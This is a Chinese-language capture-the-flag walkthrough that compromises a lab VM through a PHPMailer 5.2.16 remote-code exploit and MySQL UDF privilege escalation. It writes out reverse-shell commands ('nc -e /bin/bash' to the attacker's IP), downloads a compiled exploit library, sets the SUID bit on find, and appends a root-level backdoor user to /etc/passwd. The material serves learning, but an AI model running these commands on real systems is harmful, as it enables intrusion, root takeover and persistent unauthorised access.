特别注明:本文章只用于学习交流,不可用来从事违法犯罪活动,如使用者用来从事违法犯罪行为,一切与作者无关。
 
文章目录
- 前言
- 一、信息收集
- 二、ssh爆破尝试
- 三、根据框架exp和cve拿shell
- 四、对mysql的进一步渗透,mysql UDF 提权
- 总结
前言
思路清晰先说步骤:
 1.信息收集,收集到应有的靶机可利用端口。
2.用收集到的信息尝试爆破ssh,如果信息足够可用拿到普通用户,最好能一次拿到root
3.根据系统版本搜索exp(常规提权),拿到root的shell
4.对mysql udf的渗透、提权,思路为主。
一、信息收集
扫描内网,定位靶机ip
nmap -p- 192.168.198.0/24

访问80

 我们尝试另外几个端口,看能回显吗
111端口不回显

 55677也没回显

当然22端口肯定能爆破,但是我们需要信息收集
那么我看回80端口,如果没有什么可用的信息就只能扫描子域名了
看回主页,我发现有team
这个team我觉得可能会有人员信息,我们收集一下
果然有

 我们没办法的时候就用这些人物信息去试试
我们扫描一下子域名
dirb http://192.168.198.136 -w > url.txt
枚举发现该目录:
==> DIRECTORY:http://192.168.198.136/vendor/

http://192.168.198.136/vendor/PATH 第二个目录获得flag:

/var/www/html/vendor/
得到第一个flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
http://10.211.55.10/vendor/README.md

 枚举获得信息:PHPMailer
http://10.211.55.10/vendor/VERSION
枚举获得信息:5.2.16

等下我们去找EXP
二、ssh爆破尝试
cewl http://192.168.198.136/wordpress/ -w zhanghao.txt
hydra -l zhanghao.txt -P zhanghao.txt 192.168.198.136 ssh
爆破不出来,哎找不到密码。。。。

我们尝试别的姿势
三、根据框架exp和cve拿shell
对谷歌老师
搜索可用的EXP和poc

这是个扫描的exp
exp使用

把代码下载下来
直接利用
试了几个端口都用不了。

成功扫到了可用cve

有cve还不好说直接谷歌老师就好了
 

下载到我们想要的攻击exp
作者居然还做了视频
我们看看

 这个playload需要修改里面的代码

①.需要修改成靶机的url,url要包含.php,且这个php文件存在,可以用目录扫描扫出php后缀结尾的网页文件
②.需要修改一句话木马传入的名称
③.一句话木马反弹回来的ip,也就是kali的ip
④.这里需要知道靶机的绝对路径我们前面得到过这个路径

我们将cve复制进kali
 
 python 40974.py

playload写入php文档里面
我们nc监听端口
 
然后执行这个php文档
他会把muma.php写入这个目录

 我们执行muma.php

 成功反弹shell

拿到shell但这是个伪shell
我们用bashshell
python -c 'import pty;pty.spawn("/bin/bash")'

 但是这个shell还是不够好用,因为没有历史命令
我们按ctrl + z
让nc进入后台

执行stty raw -echo; fg
 
这下我们有更好用的tty了
到了我最喜欢的提权阶段
直接进厕所bushi
进/tmp
我们先看这个用户下面有几个flag
便利查找一下
find / -name flag* > f.txt 

。。。虽然找到了,但是flag没有提示信息

没事还有个flag3而且是个png,以我直觉大概率是个提示信息
我们先不用工具看,我们先用网页查看,因为明显这个目录是在网页下面的
/wordpress/wp-content/uploads/2018/11/flag3.png
没有提示信息。。。

很遗憾,那只能找其他信息了,不过这里目录中有upload,没准有个文件上传漏洞,但是我还没学好,所以,。。。。。。
那我们进这个目录下看看,wordpress应该也有问题

带config,我们肯定要看!!!
看下
说实话有点离谱了,谁会把密码和账号写在这里bushi

很明显要我们对mysql进一步渗透
四、对mysql的进一步渗透,mysql UDF 提权
UDF 提权、MOF 提权是非常经典的提权方法!
已经有root和password的密码了,那我们直接登录试下
mysql -uroot -pR@v3nSecurity
真进去了。。

信息收集一波

 密码加了盐
 但是得到两个账户
但是得到两个账户
michael
 steven
账户没准可以爆破ssh,大家可以试试,我这里继续mysql的信息收集试下
 其他表也没有啥有用的信息,只能尝试用mysql的漏洞去渗透了
那我们收集mysql 的版本信息
 
我们提权必须要满足的前提是mysql是root权限运行

 udf提权是直接提权成root,这个环境满足条件
看下mysql安装过程
dpkg -l | grep mysql --查看历史安装包版本
都是5.5.60
 
 查看下是否有权限运行udf
 
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
show variables like '%plugin%';

这里攻击思路有两种,一种是mysql能远程访问,那么我们可以用msf攻击;一种是mysql只能本地登录,那么我们就只能在本地进行攻击。
查看能否远程登陆:
use mysql;
select user,host from user;

发现这里root用户不允许远程登陆,因此不能利用MSF提权。
谷歌搜索:mysql 5.x UDF exploit 或者 searchsploit udf
https://www.exploit-db.com/exploits/1518


searchsploit 1518

locate 1518.c

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop

使用方法
  先把exp复制过来
先把exp复制过来
 
gcc -g -c 1518.c —GCC编译.o文件
gcc -g -shared -o mso.so 1518.o -lc

-g 生成调试信息
 -c 编译(二进制)
 -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
 -o:执行命令后的文件名
 -lc:-l 库 c库名
kali开启http让靶机下载
 python -m http.server
wget http://192.168.198.133:8000/myso.so
 当然我们最好还是放在tmp下执行
当然我们最好还是放在tmp下执行
 

接下来是mysqludf提权部分
 我们进入mysql
mysql -uroot -pR@v3nSecurity

创建一个表
 create table myso(line blob);
MySQL中,Blob是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。
插入Blob类型的数据必须使用PreparedStatement,因为Blob类型的数据无法使用字符串拼接写的。
MySQL的四种Blob类型(除了在存储的最大信息量上不同外,他们是等同的)。

往这个表里写入提权数据,会以root权限执行
insert into myso values(load_file('/tmp/myso.so'));

因为我们这个文件使用普通权限写出来的,所以需要root权限导出然后执行
myso表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from myso into dumpfile '/usr/lib/mysql/plugin/myso.so';

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'myso.so';

查看以下创建的函数:
select * from mysql.func;

 调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system(‘chmod u+s /usr/bin/find’);
s 在文件执行时把进程的属主或组ID置为该文件的文件属主。
原来只有某用户可以执行httpd这条命令, u+s后其他用户都可享有文件属主的权限。通过chown将文件属主调整为root,这样其他用户即可以root权限操作该文件。
因为find命令是root的
所以现在其他用户都能用root权限执行find权限

 刚刚我们find命令有权限问题,现在就不会有了,我们执行一下查找flag*
 
 还有个flag4.txt在root目录下
但我没有root家用户的权限
 
那我们就继续提权
 直接提权bash shell会有问题
find / -exec "/bin/sh" ;

我们目前只能用sh不能用bash shell
 
 拿到flag4
 
其他姿势
我们可以利用刚刚的mysql执行命令,反弹root的shell

 先监听
 
select do_system('nc -nv 192.168.198.133 6661 -e /bin/bash');
得到root的shell
 
注意这个仅限于/bin/bash模式下面才可以这样做
 
我们还可以写入一个权限
写一个root权限的影子用户

select do_system('echo "ou:e9mTQIxwFiHzk:0:0:root:/root:/bin/bash" >> /etc/passwd');

 影子用户

总结
以上就是对这个靶机的渗透总结了,这里用了mysql udf提权,这个方法现在已经不常用了5.1以后的版本基本无法使用,但是思路是永不过期的,希望大家能好好学习思路,而不是花里胡哨的漏洞偏门。谢谢大家,看到这里能点个👍吗?
特别注明:本文章只用于学习交流,不可用来从事违法犯罪活动,如使用者用来从事违法犯罪行为,一切与作者无关。



















